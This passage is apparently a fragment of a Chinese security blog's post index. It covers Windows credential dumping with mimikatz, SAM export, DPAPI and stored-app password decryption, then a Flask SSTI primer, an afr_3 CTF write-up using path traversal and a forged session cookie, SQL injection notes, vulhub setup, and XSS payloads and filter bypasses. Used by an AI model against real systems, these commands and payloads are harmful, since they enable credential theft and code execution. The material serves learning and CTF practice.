\"sekurlsa::logonpasswords full\" exit\n# sekurlsa::minidump lsass.dmp,用于加载内存文件;\n```\n\n* 重新开启WDigest功能\n\n为了防止用户的明文密码在内存中泄露,微软在2014年5月发布了KB2871997补丁,关闭了 **WDigest** 功能禁止从内存中获取明文密码,且 **Win Server 2012** 及以上版本默认关闭 **WDigest** 功能。\n\n但测试人员可以通过修改注册表,重新开启Wdigest功能。当用户注销或者重新登录后,就可以重新获取到用户的明文密码\n\n```bash\n# 开启WDigest,需要权限\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f\n\n# 关闭WDigest\nreg add HKLM\\STSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f\n```\n\n* 在线读取本地SAM文件\n\n```bash\nmimikatz.exe \"privilege::debug\" \"token::elevate\" \"lsadump::sam\" exit\n# token::elevate,用于提升至SYSTEM权限;lsadump::sam,用于读取本地SAM文件\n```\n\n* 离线读取本地SAM文件\n\n为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件只用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件位于相同目录下。\n\n首先,在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个文件是被锁定的,所以需要一些工具来实现。\n\n**PowerSploit** 项目中提供的 **Invoke-NinjaCopy.ps1** 脚本可以完成这项工作\n\n```bash\nInvoke-Ninja -Path \"C:\\Windows\\System32\\config\\SAM\" -LocalDestination C:\\Temp\\SAM\nInvoke-Ninja -Path \"C:\\Windows\\System32\\config\\SYSTEM\" -LocalDestination C:\\Temp\\STSTEM\n```\n\n令外,通过 **HiveNightmare** 提权漏洞(CVE-2021-36934),可以直接读取SAM和SYSTEM\n\n也可以在管理员权限下执行以下命令,通过保存注册表的方式导出\n\n```bash\nreg save HKLM\\SAM sam.hive\nreg save HKLM\\SYSTEM system.hive\n```\n\n然后将导出的SAM和SYSTEM文件复制到本地,使用Mimikatz加载并读取SAM中的用户凭据信息\n\n```bash\nmimikatz.exe \"lsadump::sam /sam:sam.hive /system:system.hive\" exit\n```\n\n## 4.2 获取常见应用软件凭据\n\n一些特定的应用程序可以存储密码,以方便用户管理和维护,如 **Xmanager** 、 **TeamViewer** 、 **FileZilla** 、 **NaviCat** 和各种浏览器等。通过对保存的用户凭据进行导出和解密,通常可以获取登陆内网服务器和各种管理后台的账号密码,可以通过他们进行横向移动和访问受限资源\n\n### 4.2.1 获取RDP保存的凭据\n\n为了避免每次连接服务器都进行身份验证,经常使用RDP远程桌面连接远程服务器的用户可能勾选保存连接凭据,以便进行快速的身份验证。\n\n这些凭据都是用数据保护API以加密形式存储在Windows的凭据管理器中,路径为 **%USERPROFILE%\\AppData\\Local\\Microsoft\\Credentials**\n\n执行以下命令,可以查看当前主机上保存的所有连接凭据\n\n```bash\ncmdkey /list\n\ndir /a %USERPROFILE%\\AppData\\Local\\Microsoft\\Credentials\\*\n```\n\n其中列出的凭据是加密的,可以使用Mimikatz导出指定的RDP连接凭据\n\n```bash\nmimikatz.exe \"privilege::debug\" \"dpapi::cred /in:%USERPROFILE%\\AppData\\Local\\Microsoft\\Credentials\\ 2B23BCADBE2FAD8EA21E6E9F0516772C\" exit\n```\n\n其中得到的 **pbData** 是凭据的加密数据, **guidMasterKey** 是该凭据的GUID。然后执行下面的命令,找到与 **guidMasterKey** 相关联的 **MasterKey** 。这个 **MasterKey** 就是加密凭据所使用的密钥。\n\n```bash\nmimikatz.exe \"privilege::debug\" \"sekurlsa::dpapi\" exit\n```\n\n记录结果中的 **MasterKey** 的值,最后执行以下命令\n\n```bash\nmimikatz.exe \"dpapi::cred /in:%USERPROFILE%\\AppData\\Local\\Microsoft\\Credentials\\ 2B23BCADBE2FAD8EA21E6E9F0516772C/masterkey:39bff149dda4f21fed......\" exit\n```\n使用找到的 **MasterKey** 值破解指定的凭据文件 2B23BCADBE2FAD8EA21E6E9F0516772C ,成功破解,得到RDP明文凭据\n\n### 4.2.2 获取Xshell保存的凭据\n\nXshell会将服务器连接信息保存在 **Session** 目录下的 **.xsh** 文件中\n\n|Xshell版本|.xsh文件路径|\n| ------ | ------ |\n|Xshell 5|%USERPROFILE%\\Document\\NetSarang\\Xshell\\Sessions|\n|Xshell 6|%USERPROFILE%\\Document\\NetSarang Computer\\6\\Xshell\\Sessions|\n|Xshell 7|%USERPROFILE%\\Document\\NetSarang Computer\\7\\Xshell\\Sessions|\n\n**Xshell 7** 之前的版本,测试人员可以直接通过 **SharpDecryptPwd** 工具进行解密,包括 **Navicat** 、 **TeamViewer** 、 **FileZilla** 、 **WinSCP** 、 **Xmangager** 等系列产品。项目地址见Github\n\n将 **SharpDecryptPwd.exe** 上传到目标主机,执行以下命令,可以直接获取Xshell保存的所有连接凭据\n\n```bash\nSharpDecryptPwd.exe -Xmangager -p \"%USERPROFILE%\\Document\\NetSarang Computer\\6\\Xshell\\Sessions\"\n```\n\n**Xshell 7** 之后的版本,Session目录中不再存储用户密码,只能使用星号密码查看器直接查看密码\n\n### 4.2.3 获取FileZilla保存的凭据\n\n**FileZilla** 会将所有的 **FTP** 登录凭据以 **Base64** 密文的格式保存在 **%USERPROFILE%\\AppData\\Roaming\\FileZilla\\recentservers.xml** 文件中\n\n其中 **\\<USER>** 节点记录了FTP登录用户, **\\<Pass>** 节点记录了 **Base64** 加密后的用户密码\n\n使用 **SharpDecryptPwd** 一键导出 **FileZilla** 保存的FTP登录凭据\n\n```bash\nSharpDecryptPwd.exe -FileZilla\n```\n\n### 4.2.4 获取NaviCat保存的凭据\n\nNaviCat是一款强大的数据库管理和设计工具\n\n当用户连接数据库时,需要填写相关的信息,如IP、用户名、密码等。\n\n用户选择保存密码(默认勾选)后,Navicat将把这些信息保存到注册表中,具体路径如下表。其中,密码是通过可逆算法加密后保存的,并且 **Navicat<=11** 和 **Navicat>=12** 分别使用不同的加密算法\n\n|数据库类型|凭据存储路径|\n| ------ | ------ |\n|MySQL|HKEY_CURRENT_USER\\Software\\PremiumSoft\\Navicat\\Servers\\\\\\<Connection Name>|\n|MariaDB|HKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatMARIADB\\Servers\\\\\\<Connection Name>|\n|MongoDB|HKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatMONGODB\\Servers\\\\\\<Connection Name>|\n|SQL Server|HKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatMSSQL\\Servers\\\\\\<Connection Name>|\n|Orale|HKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatOra\\Servers\\\\\\<Connection Name>|\n|PostgreSQL|HKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatPG\\Servers\\\\\\<Connection Name>|\n|SQLite|HKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatSQLite\\Servers\\\\\\<Connection Name>|\n\n通过下面的命令\n\n```bash\nSharpDecryptPwd.exe -NavicaCrypto\n```\n\n可以一键导出当前主机上用户连接过的所有数据库的登录凭据\n\n### 4.2.5 获取浏览器保存的登录凭据\n\n通常,Web浏览器保存的用户凭据以加密形式存储在本地文件中,测试人员可以通过读取特定的文件,从Web浏览器中获取凭据\n\n**HackBrowserData** 是一款开源工具,可以直接从浏览器解密数据包括用户登录密码、书签、cookie、历史记录、信用卡、下载链接等,支持流行的浏览器,可在Windows、MacOS、Linux平台上运行\n\n```bash\nHackBrowserData.exe\n```\n\n直接运行即可。执行完毕,会在当前目录下生成一个 **result** 目录,包含当前主机中已安装的所有浏览器保存的用户登录密码、浏览器书签、Cookie、历史记录等信息的csv文件\n\n### 4.2.6 获取WinSCP保留的登录凭据\n\nWinSCP是Windows环境下使用SSH的开源图形化SFTP工具客户端\n\n在使用SFTP连接时,如果勾选了“保存密码”,WinSCP就会将密码保存在 **WinSCP.ini** 文件下。使用 **Winscpped** 工具则可以进行解密\n\n```bash\nWinscpped.exe WinSCP.ini\n```\n","tags":["intranet"]},{"title":"从afr_3中学习flask以及/proc","url":"/2022/11/03/afr-3/","content":"\n# Linux /proc/目录\n\n[/proc目录](https://blog.csdn.net/weixin_43651049/article/details/122526081)\n\n[Linux proc目录详解](https://blog.csdn.net/lemontree1945/article/details/124688251)\n\n# flask基础\n## 渲染方法\n* render_template\n* render_template_string\n\n### render_template()\n用来渲染一个指定的文件\n```python\nreturn render_template('index.html')\n```\n\n### render_template_string()\n渲染一个字符串的,SSTI与这个方法密不可分\n```python\ndef home():\n templates = '''<!DOCTYPE html>\n <html>\n <head>\n <title>Title</title>\n <meta charset=\"utf-8\">\n </head>\n <body>\n testtesttest\n <br>\n {}\n </body>\n </html>\n '''.format(request.args.get('key'))\n return render_template_string(templates)\n```\n\n## route\n```python\nfrom flask import flask\n@app.route('/index')\ndef hello_word():\n return 'hello word'\n```\n\nroute装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index 的时候,flask会返回hello word\n\n## 魔术方法\n\n* \\_\\_class\\_\\_ : 返回当前类\n* \\_\\_mro\\_\\_ : 返回解析函数时,类的调用顺序\n* \\_\\_base\\_\\_ : 返回当前类父类(字符串形式)\n* \\_\\_bases\\_\\_ : 以元组形式返回所有父类(可以通过索引访问)\n* \\_\\_subclasses\\_\\_ : 返回当前类的所有子类,可通过索引的方式定位某一个子类\n* \\_\\_init\\_\\_ : 类的初始化方法\n* \\_\\_globals\\_\\_ : 对包含函数全局变量的字典的引用\n\n### os.wrap_close类\n需要定位到该类,不同的python版本,位置可能不同\n\n也可以引入os模块,进行快速定位\n\n```python\nprint('aaa'.__class__.__base__.__subclasses__().index(os.__wrap__close))\n```\n\n接下来可以:\n\n通过popen,以及read方法来进行系统命令执行\n\n```python\nprint('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('whoami').read())\n```\n\n通过\\_\\_builtins\\_\\_下的open进行文件读取\n\n```python\nprint('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt').read())\n```\n\n通过写入的方式修改文件内容\n\n```python\nprint('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt','w').write('123456'))\n```\n* 除此之外,还有<class 'site._Printer'> 类也可以利用\n\n```python\nprint('aaa'.__class__)\nprint('-'*8)\nprint('aaa'.__class__.__mro__)\nprint('-'*8)\nprint('aaa'.__class__.__mro__[1])\nprint('-'*8)\nprint('aaa'.__class__.__mro__[1].__subclasses__())\nprint('-'*8)\nprint(len('aaa'.__class__.__mro__[1].__subclasses__()))\nprint('-'*8)\nprint('aaa'.__class__.__base__.__subclasses__().index(os._wrap_close))\nprint('-'*8)\nprint('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('whoami').read())\nprint('-'*8)\nprint('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt').read())\nprint('-'*8)\nprint('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt','w').write('123456'))\nprint('-'*8)\nprint('\\n')\n```\n\n运行结果如下:\n\n```python\n<class 'str'>\n--------\n(<class 'str'>, <class 'object'>)\n--------\n<class 'object'>\n--------\n[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, ...]\n--------\n495\n--------\n133\n--------\nzhangmini\\71806\n\n--------\n123456\n--------\n6\n--------\n<class 'os._wrap_close'>\n--------\n```\n\n## 设置session\n\n在flask中可以导入 flask.session 来操作 session, 使用方法和 python 中的字典差不多\n```python\nfrom flask import session\n\n@app.route(\"/login\")\ndef login():\n session[\"name\"] = \"jerry\"\n session[\"account\"] = \"python\"\n return \"success\"\n```\n\n注意处理session时,需要设置SECRET_KEY,因为flask是用该值对session进行加密和混淆\n\n```python\nclass Config(object):\n SECRET_KEY = \"DJFAJLAJAFKLJQ\"\n\napp.config.from_object(Config())\n```\n\n### Flask Session Cookie Decode/Encoder\n\n[https://noraj.github.io/flask-session-cookie-manager/](https://noraj.github.io/flask-session-cookie-manager/)\n\n## ctf中的绕过技巧\n\n* 索引[]被过滤\n```python\nprint('aaa'.__class__.__base__.__subclasses__().__getitem__(133)) # 如果\"[]\"被过滤,可以用__getitem__()来进行替换\n```\n\n* 引号被过滤,可以在url中通过下面方式实现绕过\n```\n?key = {{'aaa'.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir \n```\n\n* 关键字被过滤\n```python\n__getattribute__('__'+'cla'+'ss'+'__')\n```\n可以通过类似上面的构造来绕过\n\n# afr_3\n\n本题考察了对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入\n\n1. 请求 http://172.18.0.2:5000/article?name=../../../../../../proc/self/cmdline 可以获取到当前正在执行的系统命令,得到 python server.py\n\n2. 访问 http://172.18.0.2:5000/article?name=../../../../../../proc/self/cwd/server.py 可以得到server.py 的源码\n\n```python\n#!/usr/bin/python \nimport os \nfrom flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) \nfrom flask_session import Session \napp = Flask(__name__) \nexecfile('flag.py') \nexecfile('key.py') \nFLAG = flag \napp.secret_key = key \n@app.route(\"/n1page\", methods=[\"GET\", \"POST\"]) \ndef n1page(): \n if request.method != \"POST\": \n return redirect(url_for(\"index\")) \n n1code = request.form.get(\"n1code\") or None \n if n1code is not None: \n n1code = n1code.replace(\".\", \"\").replace(\"_\", \"\").replace(\"{\",\"\").replace(\"}\",\"\") \n if \"n1code\" not in session or session['n1code'] is None: \n session['n1code'] = n1code \n template = None \n if session['n1code'] is not None: \n template = '''<h1>N1 Page</h1> \n <div class=\"row> \n <div class=\"col-md-6 col-md-offset-3 center\"> \n Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? \n </div> </div> ''' % session['n1code'] \n session['n1code'] = None \n return render_template_string(template) @app.route(\"/\", methods=[\"GET\"]) \n\ndef index(): \n return render_template(\"main.html\") \n \n@app.route('/article', methods=['GET']) \n\ndef article(): \n error = 0 \n if 'name' in request.args: \n page = request.args.get('name') \n else: \n page = 'article' \n \n if page.find('flag')>=0: \n page = 'notallowed.txt' \n try: \n template = open('/home/nu11111111l/articles/{}'.format(page)).read() \n except Exception as e: \n template = e \n \n return render_template('article.html', template=template) \n \n \nif __name__ == \"__main__\": \n app.run(host='0.0.0.0', debug=False)\n```\n\n3. 审计源码,发现flag在flag.py中,flask的appkey在key.py中,访问flag.py会被过滤\n\n4. session中存在flask ssti,伪造flask的cookie需要用到appkey\n\n5. 请求 http://172.18.0.2:5000/article?name=../../../../../proc/self/cwd/key.py 可以得到appkey\n```python\n#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'\n```\n\n6. 在flask-session-cookie-manager中加密构造session\n\n```python\npython .\\flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{\"\"\"n1code\"\"\": \"\"\"{{''asd''.__class__.__mro__[2].__subclasses__()[40](''flag.py'').read()}}\"\"\"}' \n\n// 用\"\"\" 和 ''对参数进行转义,要不然会出错\n```\n然后就可以得到flag\n\n![flag](afr-3/flag.png)\n","tags":["web","wp","ctf"]},{"title":"SQL注入中的一些点","url":"/2022/10/31/SQL注入中的一些点/","content":"## 1. Insert构造报错注入语句\n\n源码中的注入点在$uagent中\n\n```SQL\n$uagent = $_SERVER['HTTP_USER_AGENT'];\n$insert=\"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)\";\n```\n最开始想构造如下结构的sql语句来进行报错注入\n\n```SQL\ntext','127.0.0.1','admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)#\n```\n\n构造后的sql语句如下\n```SQL\nINSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('text','127.0.0.1','admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)#\n```\n后来发现该语句错误,尝试后发现Insert后面是没办法再跟一条AND语句的\n![sql-error](SQL注入中的一些点/SQL.png)\n\n于是正确的注入姿势应该如下:\n```SQL\n text' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1\n```\n上面的语句才是正确的\n\n## 2. \\-\\-+和#注释问题\n\n[SQL注入注释符(#、\\-\\- 、/**/)使用条件及其他注释方式的探索](https://www.cnblogs.com/impulse-/p/13184023.html)\n\n这个链接讲的挺详细\n\n但是我在POST注入中使用\\-\\-+, \\-\\- , 的注释方式时,注入是不起作用的,只用使用#注释才可以,还不知道为什么。。。\n\nGET注释注意要把#注释给url编码一下(%23)\n\n## 3. 双输入的注入\n\n对于如下双输入的注入\n```sql\nselect * from user where name = 'input 1' and pass = 'input 2'\n```\n如果只过滤了单引号但没有考虑 **\"\\\\\"** ,那么我们便可以通过转义语句中的第二个单引号,使得第一个单引号和第三个单引号闭合,从而让攻击语句逃逸:\n```sql\nselect * from users where name = '\\' and pass = ' union select xxx #'\n```\n\n## 4. 一些函数\n### addslashes()\n在预定义的字符前面加上反斜杠\n\n* 单引号 (')\n* 双引号 (\")\n* 反斜杠 (\\\\)\n* NULL\n```php\n$str = \"my name's zzz\";\necho addslashes($str); \n// 输出:my name\\'s zzz\n```\n\n加入这个函数并不会改变原有的 **$str** ,当读取出来的时候,内容中并没有 **\"\\\\\"**\n\n**addslashes()** 只在**POST** 、 **cookie** 和**GET**数据插入数据库时才会把反斜杠同时插入到数据库,其他情况不会将反斜杠插入到数据库\n\n在有些 **PHP.ini** 中,若打开了 **magic_quotes_gpc**指令,那就不在需要使用 **addslashes()** ,否则会造成二次转义\n\n\n### mysql_escape_string()\n```php\n$str = \"aaa's bbb\";\nmysql_escape_string($str);\n//输出:aaa\\'s bbb\n```\n*PHP5.3中就已经弃用该函数*\n\n\n### mysql_real_escape_string()\n转义SQL语句中使用的字符串中的特殊字符\n\n* \\x00\n* \\n\n* \\r\n* \\\n* '\n* \"\n* \\x1a\n\n```php\n$str = mysql_real_escaoe_string($str)\n```","tags":["web","SQL"]},{"title":"vulhub的使用","url":"/2022/10/29/vulhub的使用/","content":"\n# 运行靶场并启动\n![cd到目录](vulhub的使用/cd.png)\n```\ndocker-compose up -d # 安装并启动靶场环境也称创建容器\n```\n\n若出现问题,或者更新了配置文件,需要手工来编译靶场环境\n```\ndocker-compose build # docker-compose up -d命令包含了docker-compose build\n```\n\n查看端口\n```\ndocker-compose ps\ndocker ps\n```\n![ps](vulhub的使用/ps.png)\n\n在本虚拟机上可以使用 **[本虚拟机ip]:[端口号]** 来进行访问\n\n# 物理机访问\n若要在物理机中访问虚拟机docker环境\n\n首先,看看物理机能不能**ping**通虚拟机(同一个网段)\n\n* 物理机ip\n\n![物理机ip](vulhub的使用/phy-ip.png)\n* 虚拟机ip\n\n![虚拟机ip](vulhub的使用/vir-ip.png)\n\n\n在可以ping通虚拟机的前提下,设置静态路由\n\n首先,查看docker的ip\n![docker ip](vulhub的使用/docker-ip.png)\n\n可以看到,该容器的**IPAddress**为172.18.0.3\n\n那么在物理机上设置静态路由\n```\nroute add -p 172.18.0.0 mask 255.255.0.0 192.168.6.130\n```\n就可以在物理机上访问 **http://172.18.0.3:80** 了\n\n* 删除永久路由\n```\nroute delete 172.18.0.0\n```\n\n* 打印路由表\n```\nroute print\n```\n\n# docker命令\n```\ndocker-compose down # 关闭靶场\ndocker-images # 查看下载的镜像\ndocker rmi [IMAGE ID] # 删除\n\nservice docker status # 查看docker状态\nservice docker start # 启动docker\n```","tags":["web"]},{"title":"XSS","url":"/2022/10/26/XSS/","content":"\n# XSS (Cross-Site Scripting,跨站脚本)\nXSS是代码注入的一种,通过注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但也可以包括Java、VBScript、ActiveX、Flash或者HTML。\n\n时至今日,很多网站都给关键**Cookie**增加了**HTTPOnly属性**,这意味着执行JavaScript已无法获得用户的登录凭证,虽然*同源策略*限制了JavaScript跨域执行的能力,但是XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞,可以在悄无声息的情况下实现模拟用户的操作(比如文件上传等请求)\n\n# XSS漏洞类型\n\n* 反射型XSS:攻击具有一次性\n* 存储型XSS:攻击代码永久的存在服务器的数据库或文件中\n* DOM型XSS:一种特殊类型的反射性XSS,它是基于DOM文档对象模型的一种漏洞。DOM XSS是页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致XSS\n\n\n# XSS的tricks\n\n```html\n<img src=x onerror=\"alert(document.cookie)\"> //由于不存在路径为/x的图片,则会报错触发onerror事件\n<h1 onmousemove=\"alert(/XSS/)\">this is a title</h1> //基本上所有的标签都可以使用on事件来触发恶意代码、\n<script>alert(1)</script>\n<iframe src=\"javascript:alert(1)\"></iframe> //Javascript伪协议\n<svg/onload=alert(1)>\n<iframe src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=\"></iframe> //除了Javascript伪协议外,还有其他伪协议可以在iframe标签中实现,例如data伪协议\n\n<script type=\"text/javascript\">window.location.href=\"跳转的目的地址\";</script> //广告传播,跳转到目标地址\n<script type=\"text/javascript\">window. location.replace(\"跳转的目的地址\");</script>\n<script type=\"text/javascript\">window. location.assign(\"跳转的目的地址\");</script>\n\n<input onfocus=write(1) autofocus> //h5特性的XSS\n```\n\n# XSS过滤和绕过\n过滤的两个层为*WAF层*和*代码层*。**WAF(Web Application Firewall,Web应用防火墙)** 层通常在代码外,主机层对HTTP应用请求一个过滤拦截器。代码层则在代码中直接实现对用户输入的过滤或引用第三方代码对用户输入进行过滤\n\n* 利用burpsuit对payload进行实体编码\n```html\n<img scr=x onerror=\"alert(1)\" /> \n```\n\n* 如果过滤了Javascript的函数,如过滤“ **eval(** ”这种字符组合,那么就可以通过下面的方式绕过\n```javascript\naaa=eval\naaa(\"evil code\")\n```\n\n* 过滤引号但未过滤 **\"\\\\\"**\n```php\n<?php\n $name = $_GET['name'];\n $name = htmlentities($name,ENT_QUOTES);\n $address = $_GET['addr'];\n $address = htmlentities($address,ENT_QUOTES);\n?>\n\n<!DOCTYPE html>\n<html>\n<head>\n <meta charset=\"gb18030\">\n <title></title>\n</head>\n<body>\n <script>\n var url = 'http://null.com/?name=<?=$name?>'+'<?=$address?>';\n </script>\n</body>\n</html>\n```\n输入点有两个,如果输入引号,会被编码成HTML实体字符,但是**htmlentities**函数并不会过滤 **\"\\\\\"** ,所以我们可以通过 **\"\\\\\"** 使得攻击语句逃逸:\n```javascript\nvar url = 'http://null.com/?name=name\\'+';alert(1);//'\n```\n在**name**处末尾输入 **\"\\\\\"** ;在addr参数处闭合前面的Javascript语句,同时插入恶意代码。\n\n进一步还可以使用 **eval(window.name)** 引入恶意代码或者使用Javascript中的 **String.fromCharCode** (*见others*)来避免使用引号等被过滤的字符\n\n* 将payload藏在 **location.hash** 中\n\n*见others*\n\n```\n127.0.0.1:8080/xss/8.php?name=aaa\\addr=;eval(unescape(location.hash.slice(1)));//#alert('payload%20hide%20in%20hash');\n```\n将**payload**藏在 **location.hash**中,则URL中 \"#\" 后的字符不会被发到服务器中,所以不存在被服务器过滤的情况\n\n* 反引号当字符串的边界符\n\n```\n127.0.0.1:8080/xss/8.php?name=aaa\\&addr=p;alert(`反引号也可以用来作为边界符`);//\n```\n# XSS常见payload\n\n[XSS payload大全](https://www.cnblogs.com/xishaonian/p/6003622.html)\n```javascript\n//非常牛的一句payload\n\njaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e\n\n```\n# Others\n## JavaScript伪协议\n\nJavaScript伪协议实际上是把**javascript:** 后面的代码当JavaScript来执行,并将结果值返回给当前页面\n\n\n如果**javascript:URL** 中的代码含多个语句,必须使用分号将这些语句分隔开\n```javascript\njavascript:var now=new Date();\"<h1>the time is:</h1>\"+now;\n```\n当浏览器装载了这样的URL时,它将执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。这个字符串值可以含有HTML标记,并被格式化,其显示与其他装载进浏览器的文档完全相同\n\n\n**javascript URL** 还可以只执行动作,不返回javascript语句\n```javascript\njavascript:alert(\"hello world!\")\n```\n\n\n通常我们想用**javascript:URL**执行某些不改变当前显示的文档的javascript代码。要做到这一点,必须确保URL中的最后一条语句没有返回值。一种方法是用void运算符显式地把返回值指定为underfined,只需要在javascript:URL的结尾使用语句void 0;即可\n```javascript\njavascript:window.open(\"about:blank\"); void 0;\n```\n\n## 同源策略\n\n如果两个URL的**protocol**、**port**、**host**都相同的话,则这两个URL是同源的。\n\n使用**AJAX**技术(XMLHttpRequest对象),从一个网页去请求另一个网页资源时,违反浏览器同源策略限制,所引起的安全问题,称为跨域\n```\nhttp://news.company.com:81/dir/other.html //http:protocol;port:81;host:news \n```\n\n### 有哪些不受同源策略的限制\n* 页面上的链接\n* 重定向\n* 表单提交\n* 跨域资源的引入,比如:script、img、link、iframe\n\n### 源的更改\n满足某些限制条件的情况下,页面是可以修改它的源。脚本可以将**document.domain**的值设置为其当前域或者当前域的**父域**。如果将其设置为其当前域的父域,则这个较短的父域将用于后续源检查\n\n如,假设*http://store.company.com/dir/other.html*文档中的一个脚本执行以下语句:\n```javascript\ndocument.domain = \"company.com\";\n```\n这条语句执行后,页面将会成功地通过与*http://company.com/dir/page.html*的同源检测\n\n端口号是由浏览器另行检查的。任何对**document.domain**的赋值操作,都会导致端口号被重写为**null**\n### 